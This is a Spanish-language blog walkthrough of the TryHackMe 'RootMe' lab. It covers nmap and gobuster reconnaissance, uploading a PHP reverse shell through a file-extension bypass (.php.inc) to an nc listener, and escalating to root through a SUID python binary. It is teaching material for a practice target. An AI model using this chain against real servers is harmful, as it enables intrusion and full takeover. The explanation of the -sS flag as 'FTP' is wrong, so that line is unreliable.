Introduccion
TryHackMe (THM) es una de mis comunidades favoritas, he visto como durante años el empeño que se ponen en mejorar es relevante y es de las que más recomiendo cuando me preguntan por dónde empezar a practicar.
Pese a llevar un rato inactivo, hoy me he dispuesto a pasar el día recorriendo un poco la comunidad y dedicarle algunas horas a alguna máquina, primero, para recordar algunos conceptos elementales y segundo, para volver a las glorias pasadas.
En este caso he decidido trabajar sobre RootMe.
Sugerencia: te invito a intentar primero por tu cuenta y tomes esto como una guía si en algún paso te llegas a quedar, de igual manera cualquier feedback será bien recibido. :)
Detalles de la máquina
Esta máquina tratará sobre los temas:
- Servidores web Apache
- Sistemas Linux
- PHP como navaja de corte para la vulneración de una máquina
- Escalada de privilegios haciendo uso de malas configuraciones
Reconocimiento
Después de conectarme a la VPN de THM, y finalizar la religiosa actualización de mi sistema ofensivo (Kali Purple), lo primero que hice fue realizar un scaneo con nmap:
nmap -sS -sV -T4 -O -oN nmap_services_scan -v --script=vuln 10.10.7.32
Explicación del comando:
-
-sS
: le pide al motor de nmap que use el protocolo FTP para encontrar los servicios -
-sV
: le pide al motor de nmap que muestre la versión del servicio que encuentre -
-T4
: establece un tiempo de respuesta agresivo que acelera el proceso de análisis. Referencia -
-O
: le pide al motor de nmap que busque información referente al sistema operativo -
-oN
: genera un archivo con la salida final de nmap, de nombre nmap_services_scan -
-v
: pide al motor de nmap que la salida sea 'verbosa', es decir, que vaya mostrando información del proceso -
--script=vuln
: pide al motor de nmap que utilice el script de vulnerabilidades durante este escaneo -
10.10.7.32
: la IP de la máquina objetivo (durante la práctica cambió un par de veces la IP, basta con utilizar la IP indicada por THM)
Teniendo la siguiente salida:
# Nmap 7.93 scan initiated Sun Apr 2 18:43:02 2023 as: nmap -sS -sV -T4 -O -oN nmap_services_scan -v --script=vuln 10.10.7.32
Increasing send delay for 10.10.7.32 from 0 to 5 due to 11 out of 22 dropped probes since last increase.
Nmap scan report for 10.10.7.32
Host is up (0.18s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| vulners:
| cpe:/a:openbsd:openssh:7.6p1:
| EXPLOITPACK:98FE96309F9524B8C84C508837551A19 5.8 https://vulners.com/exploitpack/EXPLOITPACK:98FE96309F9524B8C84C508837551A19 *EXPLOIT*
| ...
|_ 1337DAY-ID-30937 0.0 https://vulners.com/zdt/1337DAY-ID-30937 *EXPLOIT*
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-enum:
| /css/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
| /js/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
|_ /uploads/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
| vulners:
| cpe:/a:apache:http_server:2.4.29:
| CVE-2019-9517 7.8 https://vulners.com/cve/CVE-2019-9517
| ...
|_ CVE-2006-20001 0.0 https://vulners.com/cve/CVE-2006-20001
|_http-csrf: Couldn't find any CSRF vulnerabilities.
443/tcp filtered https
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.93%E=4%D=4/2%OT=22%CT=1%CU=34535%PV=Y%DS=2%DC=I%G=Y%TM=6429CD1B
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)SEQ(
OS:SP=105%GCD=1%ISR=10A%TI=Z%CI=Z%TS=A)OPS(O1=M508ST11NW6%O2=M508ST11NW6%O3
OS:=M508NNT11NW6%O4=M508ST11NW6%O5=M508ST11NW6%O6=M508ST11)WIN(W1=F4B3%W2=F
OS:4B3%W3=F4B3%W4=F4B3%W5=F4B3%W6=F4B3)ECN(R=Y%DF=Y%T=40%W=F507%O=M508NNSNW
OS:6%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF
OS:=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=
OS:%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=
OS:0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RI
OS:PCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Uptime guess: 32.708 days (since Wed Mar 1 01:45:04 2023)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=261 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Apr 2 18:44:43 2023 -- 1 IP address (1 host up) scanned in 101.71 seconds
Es posible ver entonces que nuestra máquina objetivo tiene dos puertos corriendo servicios:
Puerto | Servicio | Versión |
---|---|---|
22/tcp | ssh | OpenSSH 7.6p1 |
80/tcp | http | Apache httpd 2.4.29 |
Casi de facto, cada que veo un servicio HTTP corriendo por un puerto 80, pienso enseguida que hay gran probabilidad de que exista una página web corriendo en ese servidor, así que haciendo uso del explorador entro a la IP de la máquina objetivo en cuestión.
Desde aquí, y sabiendo ya que existe una página web, utilizo la herramienta GoBuster para hacer búsqueda de directorios con fuerza bruta:
gobuster dir -u 10.10.7.32 -o gobuster_scan -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
Explicación del comando:
-
gobuster
: invoca la herramienta -
dir
: establece el modo directorio de la herramienta, esto es util cuando pretendemos analizar los posibles directorios y archivos que existan -
-u
: bandera para establecer el objetivo, en este caso la IP 10.10.7.32 -
-o
: genera un archivo con la salida del escaneo, en este caso de nombre gobuster_scan -
-w
: establece el fichero de palabras a buscar, en este caso /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
La salida resultante es por lo menos interesante:
Si observamos detenidamente el primer escaneo con el script de vulnerabilidades de nmap, tenemos que encontró tres directorios:
http-enum:
| /css/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
| /js/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
|_ /uploads/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
Mientras que del lado del escaneo de gobuster, encontramos 4 en el archivo de salida:
/uploads (Status: 301) [Size: 310] [--> http://10.10.7.32/uploads/]
/css (Status: 301) [Size: 306] [--> http://10.10.7.32/css/]
/js (Status: 301) [Size: 305] [--> http://10.10.7.32/js/]
/panel (Status: 301) [Size: 308] [--> http://10.10.7.32/panel/]
/panel
es entonces un directorio oculto.
Si accedemos a la url [IP objetivo]/panel
tenemos la siguiente vista:
Es posible subir un archivo a la máquina objetivo, hasta aquí considero podemos dar por terminada la fase de reconocimiento.
Explotación
Desde este punto es pertinente comenzar a interactuar con la página, lo primero que hice fue crear un archivo archivo.txt
con un texto simple cualquier texto
con el comando echo
:
echo "cualquier texto" > archivo.txt
Y subirlo al servidor:
Ahora bien, ¿A qué parte del servidor se ha subido?, dentro de la información obtenida durante los escaneos, dimos con un directorio uploads
, al mirar dentro del mismo tenemos lo siguiente:
Desde este punto es posible prepara un ataque con una shell reversa (a veces llamado tambien shell inversa
) en php, pero antes un poco de contexto:
¿Qué es una shell? Sin entrar en muchos tecnicismos, una shell es una sesión que permite ejecutar comandos de manera remota en un servidor. Sabiendo esto, una shell inversa se refiere a un proceso en el que la máquina 'víctima' hará la conexión con el atacante para recibir comandos, esto es útil para evadir firewalls y filtros de seguridad desde el lado de la máquina víctima.
En el sistema Kali tenemos diversas shells, es posible verlas con el comando webshells
:
┌──(incuerdo㉿kali)-[~/Documentos/TryHackMe/RootMe]
└─$ webshells
> webshells ~ Collection of webshells
/usr/share/webshells
├── asp
├── aspx
├── cfm
├── jsp
├── perl
├── php
└── seclists -> /usr/share/seclists/Web-Shells
Al listar las shells php con la utilidad tree
tenemos lo siguiente:
┌──(incuerdo㉿kali)-[/usr/share/webshells/php]
└─$ tree
.
├── findsocket
│ ├── findsock.c
│ └── php-findsock-shell.php
├── php-backdoor.php
├── php-reverse-shell.php
├── qsd-php-backdoor.php
└── simple-backdoor.php
2 directories, 6 files
De aquí es relevante ponerle atención a la shell php-reverse-shell.php
. Para llevar a cabo la ejecución de esta shell reversa se necesitan dos componentes, el primero es configurar un servicio que 'escuche' al servicio remoto que se intentará comunicar con nosotros, el segundo es la ejecución de la shell en la máquina víctima.
Preparando el servicio de escucha
Para esto usaremos la utilidad nc
para configurar el puerto 4444 de nuestra máquina atacante, esto con el comando
nc -lp 4444
Explicación:
-
nc
: invoca la utilidad de netcat -
-l
: establecenc
como escucha (listen) -
-p
: establece el puerto de escucha, en este caso 4444
Es posible unir ambas banderas en una sola, por lo que -lp
es equivalente a -l -p
Preparando la shell reversa
En este caso hice una copia de la shell php mostrada por el comando webshells
con el comando
cp /usr/share/webshells/php/php-reverse-shell.php ./
Explicación:
-
cp
: copia el primer argumento (usualmente un archivo) en el segundo argumento (usualmente un directorio) -
/usr/share/webshells/php/php-reverse-shell.php
: archivo a copiar -
./
: directorio donde se está ejecutando el comando
Teniendo la copia de la shell reversa PHP vamos a editarla, en mi caso lo haré con neovim, con el comando nvim ./php-reverse-shell.php
. La parte que nos interesa del archivo es la siguiente:
set_time_limit (0);
$VERSION = "1.0";
$ip = '127.0.0.1'; // CHANGE THIS
$port = 1234; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
Hay que configurar ip
y port
, en este caso la IP de nuestra máquina atacante y el puerto escucha, que, si se configuró como antes se dijo, será el 4444
.
Guardados estos cambios podemos proceder a subir nuestra shell al servidor:
Tenemos que archivos .php
no son permitidos al momento de intentar subirlos al servidor y parecería que no es una alternativa fiable, sin embargo existe el file upload bypass, que consiste básicamente en que del lado del servidor existe una 'sanitización' de los archivos, sin embargo las validaciones atienden a extensiones específicas y es posible 'burlar' estos mecanismos, basta con renombrar el archivo.
Probando con varias alternativas, al renombrar el archivo php-reverse-shell.php
a php-reverse-shell.php.inc
, es posible subirlo al servidor.
Y al hacer click (es decir, al acceder) al archivo...
¡Tenemos comunicación con la máquina víctima gracias a nuestra shell reversa!
Desde aquí ya nos es posible indicar comandos que se ejecutarán en la máquina remota, es conveniente ejecutar dos:
-
whoami
: que nos dirá con qué usuario de la máquina hemos iniciado sesión -
pwd
: que nos dirá en qué parte de la máquina nos encontramos
Investigando un poco sobre el usuario www-data
tenemos que dicho usuario es el usuario por defecto del servidor web Apache, este usuario tiene acceso a directorios públicos del sitio web para poder leer y mostrar su contenido. El contenido que en virtud nos interesa ver primero es el que se encuentra en el directorio /var/www
, así que podemos hacer un listado de dicho directorio:
ls /var/www
Y al notar que existe un archivo user.txt
en dicho directorio, tenemos la primera bandera, la del usuario:
Escalada de privilegios
A partir de este punto viene la parte más interesante. Tenemos una sesión abierta en la máquina, sin embargo no sabemos a qué parte podemos acceder. Nuestro objetivo es alcanzar una sesión del usuario root
para tener acceso total a la máquina. El comando find
nos puede ayudar a conocer los directorios y archivos a los que se tiene acceso o no.
find / -user root -perm /4000 -print 2>/dev/null
Explicación:
-
find
: invoca la utilidad -
/
: directorio en el que empezará a buscar, al indicar el directorio raíz/
buscará en todos los archivos de la máquina -
-user
: establece el usuario sobre el que nos interesa hacer la búsqueda, en este caso elroot
-
-perm
: establece los permisos sobre los que nos interesa hacer la búsqueda, en este caso le pasamos el tipo de permiso como número octal, este permiso4000
establece el bitsetuid
del usuario root. Referencia 1 Referencia 2 -
-print 2>/dev/null
: al buscar en toda la máquina conviene limpiar aquella información que no nos interesa, con ésta última parte del comando filtramos enviando a null aquellas salidas relacionados con los lugares a los que no podemos acceder, dejando solo aquellos a los que si nos es posible acceder.
De dicho comando tenemos al siguiente salida:
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/bin/traceroute6.iputils
/usr/bin/newuidmap
/usr/bin/newgidmap
/usr/bin/chsh
/usr/bin/python
...
/bin/umount
Hasta el momento sabemos que dentro de la ruta /usr/bin/python
existe un intérprete de python, por lo que podemos intentar una técnica que abusa de la mala configuracion de las reestricciones de un sistema con GTFOBins.
Sabemos que el binario /usr/bin/python
tiene el bit SUID (por los permisos 4000
establecidos), si se ejecuta la invocación de una shell (así es, una shell dentro de una shell) con las banderas sh -p
, es posible ejecutar una shell sh
por defecto pero con los privilegios del SUID, en este caso el 'root':
cd /usr/bin
Con este comando anterior vamos a la ruta del intérprete de python
./python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
E invocamos la sesion sh
. Al ejecutar un whoami
...
¡Tenemos la sesión del usuario root! Con lo que ya es posible acceder a su bandera.
Conclusiones
Desde una página web no correctamente sanitizada logramos acceder a una máquina remota haciendo uso de una shell reversa en PHP, y desde un intérprete de python fue posible escalar hasta el usuario root haciendo uso de permisos mal configurados en dicha máquina remota.
Si llegaste hasta acá, te agradezco mucho por tu interés. Tengo la intención de hacer esto más seguido e ir mejorando tanto la redacción como el material ofrecido.
Top comments (1)
muchas gracias!